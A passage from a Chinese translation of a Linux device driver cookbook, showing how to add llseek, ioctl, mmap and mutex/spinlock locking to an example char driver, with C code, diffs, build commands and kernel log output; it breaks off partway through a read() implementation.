首先,我们可以简单地通过添加我们的`chrdev_llseek`方法来重新定义`struct file_operations`: - -```sh -static const struct file_operations chrdev_fops = { - .owner = THIS_MODULE, - .llseek = chrdev_llseek, - .read = chrdev_read, - .write = chrdev_write, - .open = chrdev_open, - .release = chrdev_release -}; -``` - -2. 然后,我们使用一个大开关来定义方法的主体,其中根据驱动的内存布局来管理`SEEK_SET`、`SEEK_CUR`和`SEEK_END`可能的值: - -```sh -static loff_t chrdev_llseek(struct file *filp, loff_t offset, int whence) -{ - struct chrdev_device *chrdev = filp->private_data; - loff_t newppos; - - dev_info(chrdev->dev, "should move *ppos=%lld by whence %d off=%lld\n", - filp->f_pos, whence, offset); - - switch (whence) { - case SEEK_SET: - newppos = offset; - break; - - case SEEK_CUR: - newppos = filp->f_pos + offset; - break; - - case SEEK_END: - newppos = BUF_LEN + offset; - break; - - default: - return -EINVAL; - } -``` - -3. 最后,我们必须验证`newppos`仍然在 0 和`BUF_LEN`之间,在肯定的情况下,我们必须用`newppos`值更新`filp->f_pos`,如下所示: - -```sh - if ((newppos < 0) || (newppos >= BUF_LEN)) - return -EINVAL; - - filp->f_pos = newppos; - dev_info(chrdev->dev, "return *ppos=%lld\n", filp->f_pos); - - return newppos; -} -``` - -Note that the new version of the `chrdev.c` driver can be retrieved from GitHub sources within the `chapter_07/` directory related to this chapter. - -# 它是如何工作的... - -在*第二步*中,我们应该记住,每个设备都有一个`BUF_LEN`字节的内存缓冲区,因此我们可以通过简单地执行一些简单的操作来计算设备内新的`newppos`位置。 - -因此,对于将`ppos`设置为`offset`的`SEEK_SET`,我们可以简单地执行一个赋值;对于`SEEK_CUR`,将`ppos`从其当前位置(即`filp->f_pos`)加上`offset`字节,我们执行求和;最后,对于将`ppos`设置为文件结尾加上`offset`字节的`SEEK_END`,我们仍然对`BUF_LEN`缓冲区大小执行求和,因为我们期望用户空间为负值或零。 - -# 还有更多... - -如果您希望现在测试`lseek()`系统调用,我们可以像之前报告的那样修改`chrdev_test.c`程序,然后尝试在我们的新驱动版本上执行它。 - -因此,让我们使用`modify_lseek_to_chrdev_test.patch`文件修改 chrdev_test.c,如下所示: - -```sh -$ cd github/chapter_03/ -$ patch -p2 < ../chapter_07/chrdev/modify_lseek_to_chrdev_test.patch -``` - -然后,我们必须重新编译如下: - -```sh -$ make CFLAGS="-Wall -O2" \ - CC=aarch64-linux-gnu-gcc \ - chrdev_test -aarch64-linux-gnu-gcc -Wall -O2 chrdev_test.c -o chrdev_test -``` - -Note that this command can be executed in the ESPRESSObin by simply removing the `CC=aarch64-linux-gnu-gcc` setting.  - -然后我们必须移动新的`chrdev_test`可执行文件和`chrdev.ko`(支持`lseek()`的)和`chrdev-req.ko`内核模块,然后将它们插入内核: - -```sh -# insmod chrdev.ko -chrdev:chrdev_init: got major 239 -# insmod chrdev-req.ko -chrdev cdev-eeprom@2: chrdev cdev-eeprom with id 2 added -chrdev cdev-rom@4: chrdev cdev-rom with id 4 added - -``` - -This output is from a serial console, so we also get kernel messages. If you execute these commands over an SSH connection, you'll get no output and you will have to use the `dmesg` command to get an output in the preceding example. - -最后,我们可以在一台 chrdev 设备上执行`chrdev_test`程序,如下图所示: - -```sh -# ./chrdev_test /dev/cdev-eeprom\@2 -file /dev/cdev-eeprom@2 opened -wrote 11 bytes into file /dev/cdev-eeprom@2 -data written are: 44 55 4d 4d 59 20 44 41 54 41 00 -*ppos moved to 0 -read 11 bytes from file /dev/cdev-eeprom@2 -data read are: 44 55 4d 4d 59 20 44 41 54 41 00 -``` - -不出所料,`lseek()`系统调用调用了驱动的`chrdev_llseek()`方法,这正是我们所期望的。与前面命令相关的内核消息报告如下: - -```sh -chrdev cdev-eeprom@2: chrdev (id=2) opened -chrdev cdev-eeprom@2: should write 11 bytes (*ppos=0) -chrdev cdev-eeprom@2: got 11 bytes (*ppos=11) -chrdev cdev-eeprom@2: should move *ppos=11 by whence 0 off=0 -chrdev cdev-eeprom@2: return *ppos=0 -chrdev cdev-eeprom@2: should read 11 bytes (*ppos=0) -chrdev cdev-eeprom@2: return 11 bytes (*ppos=11) -chrdev cdev-eeprom@2: chrdev (id=2) released -``` - -因此,当执行第一个`write()`系统调用时,`ppos`从字节 0 移动到字节 11,然后由于`lseek()`而移动回 0,最后,由于执行`read()`系统调用,它再次移动到 11。 - -请注意,我们也可以使用`dd`命令调用`lseek()`方法,如下所示: - -```sh -# dd if=/dev/cdev-eeprom\@2 skip=11 bs=1 count=3 | od -tx1 -3+0 records in -3+0 records out -3 bytes copied, 0.0530299 s, 0.1 kB/s -0000000 00 00 00 -0000003 - -``` - -这里,我们打开设备,然后从开始向前移动`ppos` 11 个字节,然后我们对每个字节进行三次 1 字节长度的读取。 - -在下面的内核消息中,我们可以验证`dd`程序的行为是否完全符合预期: - -```sh -chrdev cdev-eeprom@2: chrdev (id=2) opened -chrdev cdev-eeprom@2: should move *ppos=0 by whence 1 off=0 -chrdev cdev-eeprom@2: return *ppos=0 -chrdev cdev-eeprom@2: should move *ppos=0 by whence 1 off=11 -chrdev cdev-eeprom@2: return *ppos=11 -chrdev cdev-eeprom@2: should read 1 bytes (*ppos=11) -chrdev cdev-eeprom@2: return 1 bytes (*ppos=12) -chrdev cdev-eeprom@2: should read 1 bytes (*ppos=12) -chrdev cdev-eeprom@2: return 1 bytes (*ppos=13) -chrdev cdev-eeprom@2: should read 1 bytes (*ppos=13) -chrdev cdev-eeprom@2: return 1 bytes (*ppos=14) -chrdev cdev-eeprom@2: chrdev (id=2) released -``` - -# 请参见 - -* 关于`lseek()`系统调用的更多信息,一个很好的起点是它的手册页,可以通过使用`man 2 lseek`命令获得。 - -# 对自定义命令使用 ioctl() - -在本食谱中,我们将看到如何添加自定义命令,以非常定制的方式配置或管理我们的外设。 - -# 准备好了 - -现在,为了展示一个关于我们如何在驱动中实现`ioctl()`系统调用的简单例子,我们仍然可以使用前面介绍的 chrdev 驱动,其中我们添加了`unlocked_ioctl()`方法,这将在后面解释。 - -# 怎么做... - -让我们看看如何通过以下步骤来实现: - -1. 首先,我们必须在`chrdev_fops`结构中添加`unlocked_ioctl()`方法: - -```sh -static const struct file_operations chrdev_fops = { - .owner = THIS_MODULE, - .unlocked_ioctl = chrdev_ioctl, - .llseek = chrdev_llseek, - .read = chrdev_read, - .write = chrdev_write, - .open = chrdev_open, - .release = chrdev_release -}; -``` - -2. 然后,我们添加方法的主体,在开始时,我们做了如下一些分配和检查: - -```sh -static long chrdev_ioctl(struct file *filp, - unsigned int cmd, unsigned long arg) -{ - struct chrdev_device *chrdev = filp->private_data; - struct chrdev_info info; - void __user *uarg = (void __user *) arg; - int __user *iuarg = (int __user *) arg; - int ret; - - /* Get some command information */ - if (_IOC_TYPE(cmd) != CHRDEV_IOCTL_BASE) { - dev_err(chrdev->dev, "command %x is not for us!\n", cmd); - return -EINVAL; - } - dev_info(chrdev->dev, "cmd nr=%d size=%d dir=%x\n", - _IOC_NR(cmd), _IOC_SIZE(cmd), _IOC_DIR(cmd)); -``` - -3. 然后,我们可以实现一个大开关来执行请求的命令,如下所示: - -```sh - switch (cmd) { - case CHRDEV_IOC_GETINFO: - dev_info(chrdev->dev, "CHRDEV_IOC_GETINFO\n"); - - strncpy(info.label, chrdev->label, NAME_LEN); - info.read_only = chrdev->read_only; - - ret = copy_to_user(uarg, &info, sizeof(struct chrdev_info)); - if (ret) - return -EFAULT; - - break; - - case WDIOC_SET_RDONLY: - dev_info(chrdev->dev, "WDIOC_SET_RDONLY\n"); - - ret = get_user(chrdev->read_only, iuarg); - if (ret) - return -EFAULT; - - break; - - default: - return -ENOIOCTLCMD; - } - - return 0; -} -``` - -4. 对于最后一步,我们必须定义`chrdev_ioctl.h`包含要与用户空间共享的文件,保存前面代码块中定义的`ioctl()`命令: - -```sh -/* - * Chrdev ioctl() include file - */ - -#include -#include - -#define CHRDEV_IOCTL_BASE 'C' -#define CHRDEV_NAME_LEN 32 - -struct chrdev_info { - char label[CHRDEV_NAME_LEN]; - int read_only; -}; - -/* - * The ioctl() commands - */ - -#define CHRDEV_IOC_GETINFO _IOR(CHRDEV_IOCTL_BASE, 0, struct chrdev_info) -#define WDIOC_SET_RDONLY _IOW(CHRDEV_IOCTL_BASE, 1, int) -``` - -# 它是如何工作的... - -在*步骤 2* 中,将使用`info`、`uarg`和`iuarg`变量,而`_IOC_TYPE()`宏的用法是通过对照`CHRDEV_IOCTL_BASE`定义检查命令类型来验证`cmd`命令对我们的驾驶员是否有效。 - -A careful reader should note that this check is not fault-proof due to the fact that a command's type is just a random number; however, it can be enough for our purposes here. - -此外,通过使用`_IOC_NR()`、`_IOC_SIZE()`和`_IOC_DIR()`,我们可以从命令中提取其他信息,这些信息对于进一步的检查非常有用。 - -在*步骤 3* 中,正如我们可以看到的,对于每个命令,根据它是读或写(或两者都有)命令的事实,我们必须利用适当的访问功能从用户空间获取或放入用户数据,如[第 3 章](03.html)、 *W* *使用 Char Drivers、*所述,以避免内存损坏! - -现在也应该清楚`info`、`uarg`和`iuarg`变量是如何使用的了。第一个用于本地存储`struct chrdev_info`数据,而其他的用于具有与`copy_to_user()`或`get_user()`功能一起使用的正确类型的数据。 - -# 还有更多... - -为了测试代码并查看其行为,我们需要实现一个适当的工具来执行我们新的`ioctl()`命令。 - -在`chrdev_ioctl.c`文件中提供了一个例子,在下面的代码片段中,使用了`ioctl()`调用: - -```sh - /* Try reading device info */ - ret = ioctl(fd, CHRDEV_IOC_GETINFO, &info); - if (ret < 0) { - perror("ioctl(CHRDEV_IOC_GETINFO)"); - exit(EXIT_FAILURE); - } - printf("got label=%s and read_only=%d\n", info.label, info.read_only); - - /* Try toggling the device reading mode */ - read_only = !info.read_only; - ret = ioctl(fd, WDIOC_SET_RDONLY, &read_only); - if (ret < 0) { - perror("ioctl(WDIOC_SET_RDONLY)"); - exit(EXIT_FAILURE); - } - printf("device has now read_only=%d\n", read_only); -``` - -现在,让我们使用主机上的下一个命令行来编译`chrdev_ioctl.c`程序: - -```sh -$ make CFLAGS="-Wall -O2 -Ichrdev/" \ - CC=aarch64-linux-gnu-gcc \ - chrdev_ioctl aarch64-linux-gnu-gcc -Wall -O2 chrdev_ioctl.c -o chrdev_ioctl -``` - -Note that this command can also be executed in the ESPRESSObin by simply removing the  `CC=aarch64-linux-gnu-gcc` setting. - -现在,如果我们尝试在 chrdev 设备上执行该命令,应该会得到以下输出: - -```sh -# ./chrdev_ioctl /dev/cdev-eeprom\@2 -file /dev/cdev-eeprom@2 opened -got label=cdev-eeprom and read_only=0 -device has now read_only=1 -``` - -Of course, for this to work, we'll have already loaded this new chrdev driver's version containing the `ioctl()` method. - -在内核消息中,我们应该得到以下信息: - -```sh -chrdev cdev-eeprom@2: chrdev (id=2) opened -chrdev cdev-eeprom@2: cmd nr=0 size=36 dir=2 -chrdev cdev-eeprom@2: CHRDEV_IOC_GETINFO -chrdev cdev-eeprom@2: cmd nr=1 size=4 dir=1 -chrdev cdev-eeprom@2: WDIOC_SET_RDONLY -chrdev cdev-eeprom@2: chrdev (id=2) released -``` - -我们可以看到,设备打开后,两个`ioctl()`命令按预期执行。 - -# 请参见 - -* 关于`ioctl()`系统调用的更多信息,一个很好的起点是它的手册页,可以通过使用`man 2 ioctl`命令获得。 - -# 使用 mmap()访问输入/输出内存 - -在这个食谱中,我们将看到如何在进程内存空间中映射一个输入/输出内存区域,通过简单地使用内存中的指针来访问我们的外围设备的内部。 - -# 准备好了 - -现在,让我们看看如何为 chrdev 驱动实现一个定制的`mmap()`系统调用。 - -由于我们有一个完全映射到内存中的虚拟设备,我们可以假设`struct chrdev_device`中的`buf`缓冲区代表要映射的内存区域。此外,我们需要动态分配它,以便重新映射;这是因为内核虚拟内存地址不能使用`remap_pfn_range()`函数重新映射。 - -This is the only limitation of `remap_pfn_range()`, which is unable to remap the kernel virtual memory addresses that are not dynamically allocated. These addresses can be remapped too, but by using another technique not covered in this book. - -为了让我们的驾驶员做好准备,我们必须对`struct chrdev_device`进行以下修改: - -```sh -diff --git a/chapter_07/chrdev/chrdev.h b/chapter_07/chrdev/chrdev.h -index 6b925fe..40a244f 100644 ---- a/chapter_07/chrdev/chrdev.h -+++ b/chapter_07/chrdev/chrdev.h -@@ -7,7 +7,7 @@ - - #define MAX_DEVICES 8 - #define NAME_LEN CHRDEV_NAME_LEN --#define BUF_LEN 300 -+#define BUF_LEN PAGE_SIZE - - /* - * Chrdev basic structs -@@ -17,7 +17,7 @@ - struct chrdev_device { - char label[NAME_LEN]; - unsigned int busy : 1; -- char buf[BUF_LEN]; -+ char *buf; - int read_only; - - unsigned int id; -``` - -请注意,我们还将缓冲区大小修改为至少一个`PAGE_SIZE`长,因为我们无法重新映射短于`PAGE_SIZE`字节的内存区域。 - -然后,为了动态分配内存缓冲区,我们必须进行如下修改: - -```sh -diff --git a/chapter_07/chrdev/chrdev.c b/chapter_07/chrdev/chrdev.c -index 3717ad2..a8bffc3 100644 ---- a/chapter_07/chrdev/chrdev.c -+++ b/chapter_07/chrdev/chrdev.c -@@ -7,6 +7,7 @@ - #include - #include - #include -+#include - #include - -@@ -246,6 +247,13 @@ int chrdev_device_register(const char *label, unsigned int -id, - return -EBUSY; - } - -+ /* First try to allocate memory for internal buffer */ -+ chrdev->buf = kzalloc(BUF_LEN, GFP_KERNEL); -+ if (!chrdev->buf) { -+ dev_err(chrdev->dev, "cannot allocate memory buffer!\n"); -+ return -ENOMEM; -+ } -+ - /* Create the device and initialize its data */ - cdev_init(&chrdev->cdev, &chrdev_fops); - chrdev->cdev.owner = owner; -@@ -255,7 +263,7 @@ int chrdev_device_register(const char *label, unsigned int id, - if (ret) { - pr_err("failed to add char device %s at %d:%d\n", - label, MAJOR(chrdev_devt), id); -- return ret; -+ goto kfree_buf; - } - chrdev->dev = device_create(chrdev_class, parent, devt, chrdev, -``` - -以下是前面`diff`文件的延续: - -```sh -@@ -272,7 +280,6 @@ int chrdev_device_register(const char *label, unsigned int id, - chrdev->read_only = read_only; - chrdev->busy = 1; - strncpy(chrdev->label, label, NAME_LEN); -- memset(chrdev->buf, 0, BUF_LEN); - - dev_info(chrdev->dev, "chrdev %s with id %d added\n", label, id); - -@@ -280,6 +287,8 @@ int chrdev_device_register(const char *label, unsigned int id, - - del_cdev: - cdev_del(&chrdev->cdev); -+ kfree_buf: -+ kfree(chrdev->buf); - - return ret; - } -@@ -309,6 +318,9 @@ int chrdev_device_unregister(const char *label, unsigned int id) - - dev_info(chrdev->dev, "chrdev %s with id %d removed\n", label, id); - -+ /* Free allocated memory */ -+ kfree(chrdev->buf); -+ - /* Dealocate the device */ - device_destroy(chrdev_class, chrdev->dev->devt); - cdev_del(&chrdev->cdev); -``` - -然而,除了这个小注释之外,我们可以像以前一样继续,也就是说,修改我们的 chrdev 驱动并添加新方法。 - -# 怎么做... - -让我们看看如何通过以下步骤来实现: - -1. 同样,与前面的部分一样,第一步是将我们新的`mmap()`方法添加到驾驶员的`struct file_operations`中: - -```sh -static const struct file_operations chrdev_fops = { - .owner = THIS_MODULE, - .mmap = chrdev_mmap, - .unlocked_ioctl = chrdev_ioctl, - .llseek = chrdev_llseek, - .read = chrdev_read, - .write = chrdev_write, - .open = chrdev_open, - .release = chrdev_release -}; -``` - -2. 然后,我们添加`chrdev_mmap()`实现,如前一节所述,报告如下: - -```sh -static int chrdev_mmap(struct file *filp, struct vm_area_struct *vma) -{ - struct chrdev_device *chrdev = filp->private_data; - size_t size = vma->vm_end - vma->vm_start; - phys_addr_t offset = (phys_addr_t) vma->vm_pgoff << PAGE_SHIFT; - unsigned long pfn; - - /* Does it even fit in phys_addr_t? */ - if (offset >> PAGE_SHIFT != vma->vm_pgoff) - return -EINVAL; - - /* We cannot mmap too big areas */ - if ((offset > BUF_LEN) || (size > BUF_LEN - offset)) - return -EINVAL; -``` - -3. 然后,我们必须得到`buf`缓冲区的物理地址: - -```sh - /* Get the physical address belong the virtual kernel address */ - pfn = virt_to_phys(chrdev->buf) >> PAGE_SHIFT; -``` - -Note that this step won't be needed if we simply wanted to remap the physical address on which our peripheral is mapped. - -4. 最后,我们可以进行重新映射: - -```sh - /* Remap-pfn-range will mark the range VM_IO */ - if (remap_pfn_range(vma, vma->vm_start, - pfn, size, - vma->vm_page_prot)) - return -EAGAIN; - - return 0; -} -``` - -# 它是如何工作的... - -在*步骤 2* 中,该功能以一些健全性检查开始,在这些检查中,我们必须验证所请求的内存区域是否与系统和外围设备要求兼容。在我们的示例中,我们必须验证存储区域的大小和其中的偏移量以及映射开始的位置是否在`buf`大小内,即`BUF_LEN`字节。 - -# 还有更多... - -为了测试我们新的`mmap()`实现,我们可以使用前面介绍的`chrdev_mmap.c`程序。我们谈到了`textfile.txt`。要编译它,我们可以在主机上使用以下命令: - -```sh -$ make CFLAGS="-Wall -O2" \ - CC=aarch64-linux-gnu-gcc \ - chrdev_mmap -aarch64-linux-gnu-gcc -Wall -O2 chrdev_mmap.c -o chrdev_mmap -``` - -Note that this command can be executed in the ESPRESSObin by simply removing the `CC=aarch64-linux-gnu-gcc` setting. - -现在,让我们从在驱动中写一些东西开始: - -```sh -# cp textfile.txt /dev/cdev-eeprom\@2 -``` - -内核消息如下: - -```sh -chrdev cdev-eeprom@2: chrdev (id=2) opened -chrdev cdev-eeprom@2: chrdev (id=2) released -chrdev cdev-eeprom@2: chrdev (id=2) opened -chrdev cdev-eeprom@2: should write 54 bytes (*ppos=0) -chrdev cdev-eeprom@2: got 54 bytes (*ppos=54) -chrdev cdev-eeprom@2: chrdev (id=2) released -``` - -现在,不出所料,在我们的内存缓冲区中,我们有`textfile.txt`内容;事实上: - -```sh -# cat /dev/cdev-eeprom\@2 -This is a test file - -This is line 3. - -End of the file -``` - -现在我们可以尝试在我们的设备上执行`chrdev_mmap`程序来验证是否一切正常: - -```sh -# ./chrdev_mmap /dev/cdev-eeprom\@2 54 -file /dev/cdev-eeprom@2 opened -got address=0xffff9896c000 and len=54 ---- -This is a test file - -This is line 3. - -End of the file -``` - -Note that we must be sure not to specify a size a value bigger than the device's buffer size, which is 4,096 in our example. In fact, if we do the following, we get an error: -**`./chrdev_mmap /dev/cdev-eeprom\@2 4097`** -`file /dev/cdev-eeprom@2 opened` -`mmap: Invalid argument` - -这意味着我们成功了!请注意,`chrdev_mmap`程序(作为`cp`和`cat`)在普通文件和我们的 char 设备上的工作方式完全相同。 - -与`mmap()`执行相关的内核消息如下: - -```sh -chrdev cdev-eeprom@2: chrdev (id=2) opened -chrdev cdev-eeprom@2: mmap vma=ffff9896c000 pfn=79ead size=1000 -chrdev cdev-eeprom@2: chrdev (id=2) released -``` - -Note that, after the remap, the program doesn't execute any system calls to gain access to the data. This leads to the possibility of better performances in obtaining access to the device's data rather than the case where we needed to use the `read()` or `write()` system calls. - -我们还可以通过向`chrdev_mmap`程序添加可选参数`0`来修改缓冲区内容,如下所示: - -```sh -./chrdev_mmap /dev/cdev-eeprom\@2 54 0 -file /dev/cdev-eeprom@2 opened -got address=0xffff908ef000 and len=54 ---- -This is a test file - -This is line 3. - -End of the file ---- -First character changed to '0' -``` - -然后,当我们使用`read()`系统调用和`cat`命令再次读取缓冲区时,我们可以看到文件中的第一个字符如预期的那样变为 0: - -```sh -# cat /dev/cdev-eeprom\@2 -0his is a test file - -This is line 3. - -End of the file -``` - -# 请参见 - -* 关于`mmap()`的更多信息,一个好的起点是它的手册页(`man 2 mmap`);那么,看看[https://Linux-kernel-labs . github . io/master/labs/memory _ mapping . html](https://linux-kernel-labs.github.io/master/labs/memory_mapping.html)就更好了。 - -# 锁定流程上下文 - -在本食谱中,我们将看到如何保护数据免受两个或多个进程的并发访问,以避免竞争条件。 - -# 怎么做... - -为了展示一个关于如何向 chrdev 驱动添加互斥体的简单示例,我们可以对其进行一些修改,如下所述。 - -1. 首先,我们必须在`chrdev.h`头文件中将`mux`互斥体添加到驱动的主结构中,如下所示: - -```sh -/* Main struct */ -struct chrdev_device { - char label[NAME_LEN]; - unsigned int busy : 1; - char *buf; - int read_only; - - unsigned int id; - struct module *owner; - struct cdev cdev; - struct device *dev; - - struct mutex mux; -}; -``` - -All modifications presented here can be applied to the chrdev code using the `patch` command in the  `add_mutex_to_chrdev.patch` file, as follows: - -**`$ patch -p3 < add_mutex_to_chrdev.patch`** - -2. 然后,在`chrdev_device_register()`函数中,我们必须使用`mutex_init()`函数初始化互斥体: - -```sh - /* Init the chrdev data */ - chrdev->id = id; - chrdev->read_only = read_only; - chrdev->busy = 1; - strncpy(chrdev->label, label, NAME_LEN); - mutex_init(&chrdev->mux); - - dev_info(chrdev->dev, "chrdev %s with id %d added\n", label, id); - - return 0; -``` - -3. 接下来,我们可以修改`read()`和`write()`方法来保护它们。`read()`方法应该如下所示: - -```sh -static ssize_t chrdev_read(struct file *filp, - char __user *buf, size_t count, loff_t *ppos) -{ - struct chrdev_device *chrdev = filp->private_data; - int ret; - - dev_info(chrdev->dev, "should read %ld bytes (*ppos=%lld)\n", - count, *ppos); - mutex_lock(&chrdev->mux); // Grab the mutex - - /* Check for end-of-buffer */ - if (*ppos + count >= BUF_LEN) - count = BUF_LEN - *ppos; - - /* Return data to the user space */ - ret = copy_to_user(buf, chrdev->buf + *ppos, count); - if (ret < 0) { - count = -EFAULT; - goto unlock; - } - - *ppos += count; - dev_info(chrdev->dev, "return %ld bytes (*ppos=%lld)\n", count, *ppos); - -unlock: - mutex_unlock(&chrdev->mux); // Release the mutex - - return count; -} -``` - -`write()`方法报告如下: - -```sh -static ssize_t chrdev_write(struct file *filp, - const char __user *buf, size_t count, loff_t *ppos) -{ - struct chrdev_device *chrdev = filp->private_data; - int ret; - - dev_info(chrdev->dev, "should write %ld bytes (*ppos=%lld)\n", - count, *ppos); - - if (chrdev->read_only) - return -EINVAL; - - mutex_lock(&chrdev->mux); // Grab the mutex - - /* Check for end-of-buffer */ - if (*ppos + count >= BUF_LEN) - count = BUF_LEN - *ppos; - - /* Get data from the user space */ - ret = copy_from_user(chrdev->buf + *ppos, buf, count); - if (ret < 0) { - count = -EFAULT; - goto unlock; - } - - *ppos += count; - dev_info(chrdev->dev, "got %ld bytes (*ppos=%lld)\n", count, *ppos); - -unlock: - mutex_unlock(&chrdev->mux); // Release the mutex - - return count; -} -``` - -4. 最后,我们还必须保护`ioctl()`方法,因为驾驶员的`read_only`属性可能会改变: - -```sh -static long chrdev_ioctl(struct file *filp, - unsigned int cmd, unsigned long arg) -{ - struct chrdev_device *chrdev = filp->private_data; - struct chrdev_info info; - void __user *uarg = (void __user *) arg; - int __user *iuarg = (int __user *) arg; - int ret; - -... - - /* Grab the mutex */ - mutex_lock(&chrdev->mux); - - switch (cmd) { - case CHRDEV_IOC_GETINFO: - dev_info(chrdev->dev, "CHRDEV_IOC_GETINFO\n"); - -... - - default: - ret = -ENOIOCTLCMD; - goto unlock; - } - ret = 0; - -unlock: - /* Release the mutex */ - mutex_unlock(&chrdev->mux); - - return ret; -} -``` - -This is really a silly example, but you should consider the case where even the `ioctl()` method may change the data buffer or other shared data of the driver. - -这一次,我们删除了所有`return`语句,转而支持`goto`。 - -# 它是如何工作的... - -很难通过简单地执行来展示代码是如何工作的,这是由于复制竞争条件的内在困难,所以最好讨论一下我们对它的期望。 - -However, you are encouraged to test the code anyway, maybe by trying to write a more complex driver where the concurrency may be a real problem if not correctly managed by the use of mutexes. - -在*步骤 1 中,*我们为系统中的每个 chrdev 设备添加了一个互斥锁。然后在*第 2 步*初始化后,我们就可以有效的使用了,如*第 3 步*和*第 4 步所述。* - -通过使用`mutex_lock()`函数,我们实际上是在告诉内核,任何其他进程都不能同时超过这个点,以确保只有一个进程可以管理驱动的共享数据。如果某个其他进程试图在互斥体已经被第一个进程持有时有效地获取互斥体,那么新的进程将在试图获取已经锁定的互斥体的确切时刻在等待队列中休眠。 - -完成后,通过使用`mutex_unlock()`,我们改为通知内核`mux`互斥体已经被释放,因此,任何等待(即休眠)的进程都将被唤醒;然后,一旦最终重新安排再次运行,它就可以继续运行,并依次尝试抓住锁。 - -请注意,在*第 3 步*中,在两个函数中,我们都在避免竞争条件真正有用的时候而不是在它们开始的时候抓取互斥体;事实上,为了保护共享数据(在我们的示例中,`ppos`指针和`buf`数据缓冲区),我们应该尽量保持锁定尽可能小。通过这样做,我们将我们选择的互斥机制的使用限制在尽可能小的代码部分(关键部分),该部分访问我们想要保护的共享数据,以防止在先前指定的条件下发生的竞争条件可能导致的损坏。 - -另外,请注意,在释放锁之前,我们必须小心不要返回,否则新的访问进程将挂起!这就是为什么我们删除了除最后一条语句之外的所有`return`语句,并使用`goto`语句跳到`unlock`标签。 - -# 请参见 - -* 有关互斥锁和锁定好文档的更多信息,请参见`linux/Documentation/locking/mutex-design.txt`处的内核文档目录。 - -# 锁定(和同步)中断上下文 - -现在,让我们看看如何避免进程上下文和中断上下文之间的竞争情况。然而,这一次我们必须比以前更加注意,因为这一次,我们必须实现一个锁定机制来保护进程上下文和中断上下文之间的共享数据。但是,我们还必须在读取过程和驱动之间提供同步机制,以便在驱动队列中存在一些要读取的数据时,允许读取过程继续进行。 - -要解释这个问题,不如做一个实际的例子。假设我们有一个为读取过程生成数据的外设。为了发出新数据已经到达的信号,外设向中央处理器发送一个中断,因此我们可以想象通过使用一个循环缓冲区来实现我们的驱动,中断处理程序将数据从外设保存到该缓冲区,任何读取进程都可以从该缓冲区获取数据。 - -Circular buffers (also known as ring buffers) are fixed-size buffers that work as if the memory is contiguous and all memory locations are handled in a circular manner. As the information is generated and consumed from the buffer, it does not need to be reshuffled; we simply adjust the head and tail pointers. When data is added, the head pointer advances, and while data is consumed, the tail pointer advances. If we reach the end of the buffer, then each pointer simply wraps around to pointing back to the beginning of the ring. -In this scenario, we must protect the circular buffer against race conditions from both process and interrupt contexts since both get access to it, but we must also provide a syncing mechanism to put to sleep any reading process when no data is available for reading! - -在[第 5 章](https://cdp.packtpub.com/linux_device_driver_development_cookbook/wp-admin/post.php?post=30&action=edit#post_28)、*管理中断和并发*中,我们提出了自旋锁,可以用来在进程和中断上下文之间放置一个锁定机制;我们还展示了 waitqueues,它可以用来将读取过程与中断处理程序同步。 - -# 准备好 - -这一次,我们必须使用我们的 chrdev 驱动的修改版本。在 GitHub 存储库的`chapter_07/chrdev/`目录中,我们可以找到`chrdev_irq.c`和`chrdev_irq.h`文件,它们实现了我们修改后的驱动。 - -我们仍然可以使用`chrdev-req.ko`来生成系统内的 chrdev 设备,但是现在将使用内核模块`chrdev_irq.ko`来代替`chrdev.ko`。 - -此外,由于我们有一个真实的外设,我们可以使用内核定时器模拟 IRQ(参见[第 5 章](https://cdp.packtpub.com/linux_device_driver_development_cookbook/wp-admin/post.php?post=30&action=edit#post_28),*管理中断和并发*,这也使用以下`get_new_char()`函数触发数据生成: - -```sh -/* - * Dummy function to generate data - */ - -static char get_new_char(void) -{ - static char d = 'A' - 1; - - if (++d == ('Z' + 1)) - d = 'A'; - - return d; -} -``` - -这个函数只是在每次调用时从 A 到 Z 生成一个新的字符,在 Z 生成后从字符 A 重新开始。 - -为了将我们的注意力集中在驱动的锁定和同步机制上,我们在这里展示了一些有用的功能来管理循环缓冲区,这是不言自明的。这里有两个功能来检查缓冲区是空的还是满的: - -```sh -/* - * Circular buffer management functions - */ - -static inline bool cbuf_is_empty(size_t head, size_t tail, - size_t len) -{ - return head == tail; -} - -static inline bool cbuf_is_full(size_t head, size_t tail, - size_t len) -{ - head = (head + 1) % len; - return head == tail; -} -``` - -然后,有两个函数来检查有多少数据或多少空间可用,直到缓冲区的内存区域结束。当我们必须使用诸如`memmove()`之类的功能时,它们非常有用: - -```sh -static inline size_t cbuf_count_to_end(size_t head, size_t tail, - size_t len) -{ - if (head >= tail) - return head - tail; - else - return len - tail + head; -} - -static inline size_t cbuf_space_to_end(size_t head, size_t tail, - size_t len) -{ - if (head >= tail) - return len - head + tail - 1; - else - return tail - head - 1; -} -``` - -最后,我们可以使用函数来适当地向前移动头部或尾部指针,这样无论何时到达缓冲区的末尾,它都可以从头重新开始: - -```sh -static inline void cbuf_pointer_move(size_t *ptr, size_t n, - size_t len) -{ - *ptr = (*ptr + n) % len; -} -``` - -# 怎么做... - -让我们看看如何通过以下步骤来实现: - -1. 第一步是通过添加`mux`互斥体(如前所述)、`lock`自旋锁、内核`timer`和等待队列`queue`来重写我们的驱动的主要结构,如下所示: - -```sh - /* Main struct */ -struct chrdev_device { - char label[NAME_LEN]; - unsigned int busy : 1; - char *buf; - size_t head, tail; - int read_only; - - unsigned int id; - struct module *owner; - struct cdev cdev; - struct device *dev; - - struct mutex mux; - struct spinlock lock; - struct wait_queue_head queue; - struct hrtimer timer; -}; -``` - -2. 然后,我们必须在`chrdev_device_register()`功能中的设备分配期间初始化它们,如下所示: - -```sh - /* Init the chrdev data */ - chrdev->id = id; - chrdev->read_only = read_only; - chrdev->busy = 1; - strncpy(chrdev->label, label, NAME_LEN); - mutex_init(&chrdev->mux); - spin_lock_init(&chrdev->lock); - init_waitqueue_head(&chrdev->queue); - chrdev->head = chrdev->tail = 0; - - /* Setup and start the hires timer */ - hrtimer_init(&chrdev->timer, CLOCK_MONOTONIC, - HRTIMER_MODE_REL | HRTIMER_MODE_SOFT); - chrdev->timer.function = chrdev_timer_handler; - hrtimer_start(&chrdev->timer, ns_to_ktime(delay_ns), - HRTIMER_MODE_REL | HRTIMER_MODE_SOFT); -``` - -3. 现在,下一个片段显示了`read()`方法的一个可能实现。我们从抓取互斥体开始,对其他进程进行第一次锁定: - -```sh -static ssize_t chrdev_read(struct file *filp, - char __user *buf, size_t count, loff_t *ppos) -{ - struct chrdev_device *chrdev = filp->private_data; - unsigned long flags; - char tmp[256]; - size_t n; - int ret; - - dev_info(chrdev->dev, "should read %ld bytes\n", count); - - /* Grab the mutex */ 